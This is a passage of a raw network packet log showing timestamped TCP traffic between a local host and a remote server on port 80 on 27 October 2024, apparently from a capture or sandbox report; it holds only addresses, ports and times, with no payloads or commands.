Oct 27, 2024 20:15:29.965655088 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.965661049 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.965689898 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.965723991 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.965729952 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.965822935 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.965869904 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.965889931 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.965923071 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.965954065 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.982068062 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.982116938 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.982134104 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.982151031 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.982151031 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.982167006 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.982180119 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.982362032 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.982378960 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.982395887 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.982398987 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.982430935 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.983597994 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.985397100 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.985413074 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.985449076 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.985532999 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.985573053 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.985680103 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.986578941 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.986593962 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.986619949 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.020186901 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.020220041 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.020245075 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.020253897 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.020262003 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.020278931 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.020281076 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.020294905 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.020328045 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.071551085 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.071598053 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.071633101 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.071649075 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.071669102 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.071705103 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.071711063 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.071741104 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.071794987 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.073723078 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.073754072 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.073796034 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.092958927 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.093014002 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.093063116 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.093132019 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.093167067 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.093199968 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.093208075 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.093238115 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.093281031 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.097379923 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.097409964 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.097470999 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.103236914 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.103271008 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.103311062 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.103346109 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.103367090 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.103404045 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.103415966 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.103440046 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.103502989 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.103630066 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.103821993 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.103857994 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.103874922 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.104176044 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.104207993 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.104218960 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.104244947 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.104362965 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.104515076 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.104547977 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.104581118 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.104610920 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.139457941 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.139488935 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.139513969 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.139523983 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.139575958 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.139591932 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.139626026 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.139657974 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.139659882 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.139707088 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.139743090 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.139753103 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.184982061 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.185040951 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.185041904 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.185079098 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.185142040 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.185151100 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.185188055 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.185221910 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.185255051 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.185544014 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.185576916 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.185586929 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.185626030 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.185663939 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.206784964 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.206849098 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.206885099 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.206918955 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.206922054 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.206954002 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.206970930 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.206990004 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.207040071 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.207119942 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.207153082 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.207185984 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.207214117 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.216124058 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.216160059 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.216187954 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.216193914 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.216228008 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.216264963 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.216324091 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.216356993 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.216366053 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.216448069 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.216489077 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.216619015 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.216671944 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.216705084 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.216738939 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.216744900 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.216784000 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.217130899 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.217308998 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.217339993 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.217355013 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.217374086 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.217408895 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.217447996 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.254751921 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.254786015 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.254837036 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.254832983 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.254873991 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.254909039 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.254945993 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.254946947 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.254961967 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.254997969 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.255033970 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.255039930 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.297416925 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.302090883 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.302125931 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.302171946 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.302179098 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.302212954 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.302247047 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.302256107 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.302297115 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.302331924 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.302336931 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.302367926 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.302407980 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.323911905 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.323966980 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.324012041 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.324018955 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.324054003 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.324086905 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.324098110 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.324179888 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.324220896 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.324269056 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.324321985 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.324356079 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.324359894 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.324395895 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.324436903 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.333370924 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.333457947 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.333491087 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.333524942 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.333539963 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.333558083 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.333604097 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.333611965 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.333647013 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.333657980 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.333681107 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.333740950 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.333972931 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.334007025 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.334041119 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.334067106 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.334235907 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.334280968 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.334285975 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.334429026 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.334458113 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.334474087 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.372102022 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.372133017 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.372167110 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.372193098 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.372200966 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.372222900 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.372289896 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.372324944 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.372356892 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.372423887 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.372457027 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.372473955 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.372492075 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.372612953 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.372637033 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.372689962 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.372731924 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.419040918 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.419070959 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.419105053 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.419137955 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.419163942 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.419173002 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.419220924 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.419267893 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.419301987 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.419361115 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.419395924 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.419405937 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.419701099 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.419730902 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.419774055 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.441165924 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.441346884 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.441385984 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.441400051 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.441421986 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.441457033 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.441466093 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.441499949 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.441536903 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.441553116 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.441559076 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.441569090 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.441585064 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.441601992 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.441643000 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.450299978 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.450326920 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.450342894 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.450360060 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.450380087 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.450423002 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.450469017 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.450573921 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.450611115 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.450644970 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.450664043 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.450680017 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.450696945 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.450707912 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.450728893 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.451270103 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.451292038 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.451327085 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.451347113 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.451361895 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.451380014 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.451402903 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.451694012 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.451709986 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.451728106 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.451754093 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.451792002 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.488987923 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.489089012 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.489123106 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.489146948 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.489159107 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.489197016 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.489208937 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.489232063 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.489286900 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.489322901 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.489340067 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.489367008 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.530648947 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.530752897 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.530806065 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.536151886 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.536206961 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.536235094 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.536251068 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.536259890 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.536268950 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.536287069 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.536293983 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.536329985 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.558309078 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.558336020 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.558353901 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.558370113 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.558387995 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.558403015 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.558418036 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.558419943 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.558437109 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.558470011 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.558470011 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.558557034 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.558576107 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.558590889 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.558617115 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.558625937 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.558643103 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.558720112 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.567517042 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.567549944 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.567568064 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.567584038 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.567591906 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.567605972 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.567627907 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.567637920 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:30.567745924 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.567773104 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.567790031 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:30.567831039 CET	80	49719	185.215.113.16	192.168.2.5
